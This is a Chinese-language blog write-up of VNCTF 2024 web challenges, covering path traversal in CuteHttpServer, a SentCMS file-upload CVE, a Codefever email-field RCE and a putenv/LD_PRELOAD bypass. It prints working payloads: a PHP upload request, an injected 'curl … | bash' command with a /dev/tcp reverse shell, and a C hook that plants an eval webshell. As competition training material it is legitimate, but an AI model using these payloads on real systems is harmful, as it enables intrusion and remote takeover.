VNCTF2024-web wp

Checkin

简单的js,没有混淆,源码里找到可疑十六进制字符串,在控制台直接console.log()就出了。

CutePath

有点搞。

网上搜到的Cutehttpserver CVE是XSS,但是这个CVE是v1.x和v2.x的,所以应该用不了。

这里卡住了,点联系进入项目官网,然后进github源码页,在评论区(草了怎么这里出)找到一个安全性问题:

所以直接路径穿越,查看到base64加密的用户名和密码:

登录成功后,路径穿越找到flag:

然后重命名,再用路径穿越将文件移到可下载目录下:

点开即出:

 

因为环境关了,而且这道题我忘截屏了,所以复现用的是VNCTF 2024 Web方向 WP-CSDN博客

比赛结束后,出题人还说这个能再水一个CVE了呃呃....

TrySent

SentCMS的CVE,还是能找到现成payload:

CVE-2022-24652

Sentcms任意文件上传漏洞 | Hanayuzu'Blog

可以直接传木马上去,我直接phpinfo()试了试,结果环境变量里也有就出了:

POST /user/upload/upload HTTP/1.1
Host: c35eb369-fe76-41e7-9bb8-8b2bd5af6d0c.vnctf2024.manqiu.top
Cookie: PHPSESSID=de376dfab53557df105d5c4456d65f73
Content-Length: 760
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Origin: https://info.ziwugu.vip/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://c35eb369-fe76-41e7-9bb8-8b2bd5af6d0c.vnctf2024.manqiu.top/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"

test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"

Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"

164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg

JFIF
<?php phpinfo();?>

------WebKitFormBoundaryrhx2kYAMYDqoTThz--

codefever_again

是Codefever的CVE-2023-26817:

CVE-2023-26817 : codefever before 2023.2.7-commit-b1c2e7f was discovered to contain a remote code execution (RCE) vulnerability via the c (cvedetails.com)

The Codefeve before 2023.2.7-b1c2e7f has a Remote Command Execute Vulnerability · Issue #140 · PGYER/codefever (github.com)

审计代码后知道,登录成功后可以在添加邮箱地址那个位置实现RCE,但是email有一个正则表达式的检测,所以有些命令执行不太行,最后还是找到了一个可行的方法反弹shell。

 

正则表达式的约束:

继续跟进:

找到execRCE部分:

随便注册个号登录上去:

然后进入多邮箱:

添加poc,然后在bp上操作,首先用DNS平台测试了一下:

拿到回显,这个CVE可用。

 

但是这里有两个坑,首先是好像邮箱地址限制了只有三个还是四个,所以一直传会报错没有回显,其次是那个正则表达式匹配限制了payload输入的格式。

卡了一阵子,都试了试原POC作者搭了个服务器然后输命令base64拿出来,但是失败了,直接放弃了。

想到了curl也可以反弹shell,所以我phpstudy迅速起了一个html服务,新建一个bash.html,文件里就是反弹shell的payload:

bash -i >& /dev/tcp/vps/port 0>&1

然后用natapp搭了一个内网穿透,把内网服务127.0.0.1:1415映射到临时公网上:

然后RCE部分curl我自己搭载的服务器里的bash.html:

youyou@qq.com'xx|curl http://scktzs.natappfree.cc/bash.html|bash;xx'xx

最后在vps处反弹shell成功:(爽爽爽爽爽爽)

givenphp

先看源码:

 <?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
} 

有文件上传+putenv,而且上传目录是/tmp,那么基本可以确定是putenv+LD_PRELOAD上传.so文件劫持whoami命令的组合拳RCE了。

但是遇到了一些问题,在这个文件上传的位置我就卡了,怎么传这个so文件上去,并且保证名字也是xxx.so这种呢?

第一时间想到了python传files,但是前几次都报错了,本地搭了一个这个服务也传不上,奇了怪哉。

写个C文件:

#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  printf("hack you!");
  system("echo '<?php @eval($_POST[1]);?>' > /var/www/html/shell.php");
  return 0;
}

编译成so文件:

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

然后用python上传:

拿到上传目录,然后因为这里由于guess要我们猜匿名函数的名字,他会随着我们每次请求增长,我们只要先设置个比较后面的,然后不断发包即可:

来自:VNCTF2024-WEB-gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

GET /?challenge=111&value=/tmp/uploaded_file_65d03e3e906182.36544985.so&key=LD_PRELOAD&guess=%00lambda_20 HTTP/1.1
Host: 101522b7-51aa-415b-a4ca-3ae3dd7a4c20.vnctf2024.manqiu.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

然后蚁剑连或者网页上直接RCE就行了。

 

 

最后补充一个做了的MISC吧,也就是那个SQL盲注的,其实也比较简单,因为这个布尔盲注只需要看最后一次的ASCII字符是什么就可以了,而且抓的http里字节数为268是success,279是wrong,理清楚逻辑也很好判断,直接exp开读(也可以导出来用正则匹配做,更自动化,但是我觉得写着更麻烦,干脆就手操肉眼读了呃呃):

最后用VNCTF{}包起来就行了。

posted @ 2024-02-18 00:31  Eddie_Murphy  阅读(304)  评论(0编辑  收藏  举报